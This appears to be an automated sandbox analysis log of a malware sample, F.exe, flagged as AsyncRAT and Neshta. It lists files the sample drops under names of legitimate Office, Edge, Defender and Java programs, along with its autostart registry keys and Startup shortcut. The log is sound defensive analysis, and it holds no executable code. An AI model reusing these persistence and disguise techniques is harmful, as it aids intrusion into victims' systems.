Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	File created: C:\Users\user\Desktop\._cache_F.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	File created: C:\ProgramData\Synaptics\RCXAC4B.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_F.exe	File created: C:\ProgramData\XClient.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	File created: C:\ProgramData\Synaptics\RCXAC4B.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_F.exe	File created: C:\ProgramData\XClient.exe	Jump to dropped file

Source: C:\Users\user\Desktop\F.exe

File created: C:\Windows\svchost.com

Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\BJZFPPWAPT\~$cache1

Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: F.exe, type: SAMPLE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.._cache_F.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F.exe PID: 1560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F.exe PID: 2668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 3868, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\XClient.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\._cache_F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, type: DROPPED

Yara detected Neshta

Source: Yara match	File source: 00000000.00000002.2697226300.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F.exe PID: 1560, type: MEMORYSTR

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\F.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command NULL			Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command NULL			Jump to behavior

Source: C:\Users\user\Desktop\._cache_F.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Jump to behavior

Source: C:\Users\user\Desktop\._cache_F.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run ?????			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run ?????			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
